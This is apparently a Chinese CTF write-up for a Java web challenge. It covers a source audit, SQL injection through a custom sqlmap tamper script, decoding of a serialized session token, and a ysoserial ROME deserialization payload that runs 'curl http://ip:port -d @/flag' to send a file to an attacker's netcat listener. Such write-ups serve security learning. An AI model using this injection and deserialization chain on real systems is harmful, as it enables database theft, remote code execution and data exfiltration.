源文件代码审计

这里使用IDEA打开

Test.class



可以看到这里使用了swagger进行接口的测试,并且在/common/test/sqlDict路径下发送了POST请求,请求参数为dbName

Row和Table

都是实体类,没有什么重点

SqlDict.class




可以看到他是用于数据库连接和查询的,接受Test传来的dbName值,并且已知一个数据库myapp
此时可以对/common/test/sqlDict路径进行简单的测试:

sql注入——sqlmap的tamper编写

测试是否存在sql注入:

那么构造的payload结构是:dbName=myapp# + sql语句# 第一个#是用于在java代码中注释后面的部分使其能够正常访问到数据库
构造tamper:

#!/usr/bin/env pythonfrom lib.core.enums import PRIORITY__priority__ = PRIORITY.NORMALdef dependencies():    passdef tamper(payload, **kwargs):        result = "myapp#"+payload    return result

然后运行sqlmap进行SQL注入
sqlmap.py -r 1.txt -p dbName --tamper=thinkjava.py -batch -T user --dump

swagger页面接口测试

swagger是用于进行后端API接口测试的,通常需要访问/swagger-ui.html这个页面

此时我们可以通过SQL注入获得的账户去测试登录接口:

登录成功后会返回一串data,rO0AB的开头,这个就是进行base64加密的序列化内容
rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu
转为16进制:
aced000573720018636e2e6162632e636f72652e6d6f64656c2e55736572566f764643317b04f43a0200024c000269647400104c6a6176612f6c616e672f4c6f6e673b4c00046e616d657400124c6a6176612f6c616e672f537472696e673b78707372000e6a6176612e6c616e672e4c6f6e673b8be490cc8f23df0200014a000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b0200007870000000000000000174000561646d696e
使用SerializationDumper工具查看16进制序列化内容
https://github.com/NickstaDB/SerializationDumper

点击查看代码
STREAM_MAGIC - 0xac edSTREAM_VERSION - 0x00 05Contents  TC_OBJECT - 0x73    TC_CLASSDESC - 0x72      className        Length - 24 - 0x00 18        Value - cn.abc.core.model.UserVo - 0x636e2e6162632e636f72652e6d6f64656c2e55736572566f      serialVersionUID - 0x76 46 43 31 7b 04 f4 3a      newHandle 0x00 7e 00 00      classDescFlags - 0x02 - SC_SERIALIZABLE      fieldCount - 2 - 0x00 02      Fields        0:          Object - L - 0x4c          fieldName            Length - 2 - 0x00 02            Value - id - 0x6964          className1            TC_STRING - 0x74              newHandle 0x00 7e 00 01              Length - 16 - 0x00 10              Value - Ljava/lang/Long; - 0x4c6a6176612f6c616e672f4c6f6e673b        1:          Object - L - 0x4c          fieldName            Length - 4 - 0x00 04            Value - name - 0x6e616d65          className1            TC_STRING - 0x74              newHandle 0x00 7e 00 02              Length - 18 - 0x00 12              Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b      classAnnotations        TC_ENDBLOCKDATA - 0x78      superClassDesc        TC_NULL - 0x70    newHandle 0x00 7e 00 03    classdata      cn.abc.core.model.UserVo        values          id            (object)              TC_OBJECT - 0x73                TC_CLASSDESC - 0x72                  className                    Length - 14 - 0x00 0e                    Value - java.lang.Long - 0x6a6176612e6c616e672e4c6f6e67                  serialVersionUID - 0x3b 8b e4 90 cc 8f 23 df                  newHandle 0x00 7e 00 04                  classDescFlags - 0x02 - SC_SERIALIZABLE                  fieldCount - 1 - 0x00 01                  Fields                    0:                      Long - L - 0x4a                      fieldName                        Length - 5 - 0x00 05                        Value - value - 0x76616c7565                  classAnnotations                    TC_ENDBLOCKDATA - 0x78                  superClassDesc                    TC_CLASSDESC - 0x72                      className                        Length - 16 - 0x00 10                        Value - java.lang.Number - 0x6a6176612e6c616e672e4e756d626572                      serialVersionUID - 0x86 ac 95 1d 0b 94 e0 8b                      newHandle 0x00 7e 00 05                      classDescFlags - 0x02 - SC_SERIALIZABLE                      fieldCount - 0 - 0x00 00                      classAnnotations                        TC_ENDBLOCKDATA - 0x78                      superClassDesc                        TC_NULL - 0x70                newHandle 0x00 7e 00 06                classdata                  java.lang.Number                    values                  java.lang.Long                    values                      value                        (long)1 - 0x00 00 00 00 00 00 00 01          name            (object)              TC_STRING - 0x74                newHandle 0x00 7e 00 07                Length - 5 - 0x00 05                Value - admin - 0x61646d696e

可以猜测到这个内容是与用户信息有关的,正好还有一个接口:`/common/user/current` 是用来获取用户信息将data内容输入到该接口中

分析反序列化利用点

使用burp插件java Deserialization Scanner



显示可以利用ROME

ysoserial反序列化工具使用

工具地址:https://github.com/frohoff/ysoserial/releases
java -jar .\ysoserial-all.jar ROME "curl http://ip:port -d @/flag" > flag.bin
然后记得将flag.bin文件转base64编码,这里附上我的脚本,可以将base64与16进制互相转换,也可以将bin文件转为base64
-r [bin文件路径] -base64 [当前编码为base64] -hex [当前编码为16进制] -code [需要转码的内容]

点击查看代码
import base64import sysimport osdef base64_to_hex(b64):    b64 = b64.replace(' ', '')   # Remove spaces    pad_len = len(b64) % 4    if pad_len > 0:        b64 += '='* (4-pad_len)              return base64.b64decode(b64).hex() def hex_to_base64(hex_str):    byte_string = bytes.fromhex(hex_str)    return base64.b64encode(byte_string).decode()        if __name__ == '__main__':    encode_type = None    code = None    file_path = None        for i in range(1, len(sys.argv)):        if sys.argv[i] == '-code':            code = sys.argv[i+1]            i += 1        elif sys.argv[i] == '-base64':            encode_type = 'base64'        elif sys.argv[i] == '-hex':            encode_type = 'hex'        elif sys.argv[i] == '-r':            file_path = sys.argv[i+1]            i += 1                  if encode_type is None and code is None and file_path is None:        print('Usage: python code_convert.py [-base64/-hex] [-r file_path] [-code "code_string"]')        sys.exit(1)        #直接把bin文件内容转为base64    if file_path:        with open(os.path.abspath(file_path), 'rb') as f:            code = f.read()            fbase64 = base64.b64encode(code)            print(fbase64)            file.close            else:                    if code:              if encode_type == 'base64':                hex_result = base64_to_hex(code)                print(f'Base64 {code} to Hex: {hex_result}')            elif encode_type == 'hex':                b64_result = hex_to_base64(code)                print(f'Hex {code} to Base64: {b64_result}')                        if encode_type is None or code is None:            print('Usage: python code_convert.py [-base64/-hex] -code "code_string"')            sys.exit(1)                     if encode_type == 'base64':            hex_result = base64_to_hex(code)            print(f'Base64 {code} \n to Hex: {hex_result}')        elif encode_type == 'hex':            b64_result = hex_to_base64(code)            print(f'Hex {code} \n to Base64: {b64_result}')

这里运行:
python3 hex-base64.py -r .\flag.bin
然后远程主机监听对应端口
nc -lvp port
再将编码好的base64编码(开头为rO0AB ,记得加上Bearer)放到 /common/user/current 接口运行